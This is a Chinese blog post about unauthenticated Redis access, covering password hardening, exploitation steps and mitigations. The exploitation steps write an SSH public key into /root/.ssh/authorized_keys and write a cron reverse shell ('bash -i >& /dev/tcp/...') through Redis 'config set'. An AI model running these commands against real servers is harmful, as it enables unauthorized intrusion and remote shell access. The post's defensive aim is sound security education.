您好,登錄后才能下訂單哦!
各位大佬好!好久沒寫過博客記錄了,最近挖了個redis未授權訪問漏洞,并利用了一番,在此,分享下這個雞肋卻能直接獲得服務器權限的漏洞。
Redis默認配置是不需要密碼認證的,也就是說只要連接的Redis服務器的host和port正確,就可以連接使用。這在安全性上會有一定的問題,所以需要啟用Redis的認證密碼,增加Redis服務器的安全性。
Redis的配置文件默認在/etc/redis.conf,找到如下行:
#requirepass foobared
去掉前面的注釋,并修改為所需要的密碼:
requirepass myPassword
(其中myPassword就是要設置的密碼)
如果Redis已經配置為service服務,可以通過以下方式重啟:
service redis restart
如果Redis沒有配置為service服務,可以通過以下方式重啟:
/usr/local/bin/redis-cli shutdown
/usr/local/bin/redis-server /etc/redis.conf
設置Redis認證密碼后,客戶端登錄時需要使用-a參數輸入認證密碼,不添加該參數雖然也可以登錄成功,但是沒有任何操作權限。如下:
$ ./redis-cli -h 127.0.0.1 -p 6379
127.0.0.1:6379> keys *
(error) NOAUTH Authentication required.
使用密碼認證登錄,并驗證操作權限:
$ ./redis-cli -h 127.0.0.1 -p 6379 -a myPassword
127.0.0.1:6379> config get requirepass
1) "requirepass"
2) "myPassword"
看到類似上面的輸出,說明Reids密碼認證配置成功。
漏洞描述:
Redis因配置不當可以未授權訪問,被***者惡意利用。
***者無需認證訪問到內部數據,可能導致敏感信息泄露,***也可以惡意執行flushall來清空所有數據。
***者可通過EVAL執行lua代碼,或通過數據備份功能往磁盤寫入后門文件。
如果Redis以root身份運行,***可以給root賬戶寫入SSH公鑰文件,直接通過SSH登錄受害服務器。
危害:
***者可利用該漏洞寫入計劃任務反彈shell
***者可利用該漏洞寫入ssh公鑰遠程連接。
利用原理:
1) SSH免密碼登錄,Linux下可以設置SSH免密碼登錄,方法為使用"公私鑰"認證,即首先在客戶端上創建一對公私鑰 (公鑰文件:~/.ssh/id_rsa.pub; 私鑰文件:~/.ssh/id_rsa)。然后把公鑰放到服務器上(~/.ssh/authorized_keys), 自己保留好私鑰.在使用ssh登錄時,ssh程序會發送私鑰去和服務器上的公鑰做匹配.如果匹配成功就可以登錄了。詳細可參考(http://jingyan.baidu.com/article/2fb0ba4043124a00f2ec5f0f.html )SSH免密碼登陸遠程服務器
2)Redis可通過Redis-CLI遠程管理,設置Redis的默認路徑以及數據庫緩存文件。
方法如下:config set dir /xxx
config set dbfilename xxxx
set xxxx "xxx"<br/>save
1.Redis服務使用ROOT賬號啟動
2.Redis服務無密碼認證或者使用的是弱口令進行認證
3.服務器開放了SSH服務,而且允許使用密鑰登錄,即可遠程寫入一個公鑰,直接登錄遠程服務器。
首先在本地生成一對密鑰:
然后通過redis-clis遠程連接到目標redis服務器,執行以下命令config set dir /root/.ssh/
config set dbfilename authorized_keys
set xxxx "\n\n\nssh-rsa key_pub\n\n\n",其中key_pub為上圖生成的公鑰,即可將公鑰保存在遠端服務器,使得登錄時不需要輸入賬號與密碼。Redis已經因該漏洞被***,并在其緩存數據庫中發現被寫入的公鑰,建議用戶馬上對內部網絡進行排查。
1、telnet登錄/也可以redis-cli登錄
telnet 192.168.236.130 6379
//未授權登錄
config set dir /var/spool/cron/ //配置文件夾的路徑(CONFIG SET 命令可以動態地調整 Redis 服務器的配置而(configuration)而無須重啟。)//每個用戶生成的crontab文件,都會放在 /var/spool/cron/ 目錄下面
set -.- "\n\n\n* * * * * bash -i >& /dev/tcp/192.168.236.129/9999 0>&1\n\n\n"
//直接往當前用戶的crontab里寫入反彈shell,換行是必不可少的。
2.nc反彈
3.Centos里面查看crontab任務。
該漏洞的修補方法如下:
1)禁止使用 root 權限啟動 redis 服務;
2)對 redis 訪問啟用密碼認證,并且添加 IP 訪問限制;
3)盡可能不對公網直接開放 SSH 服務。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。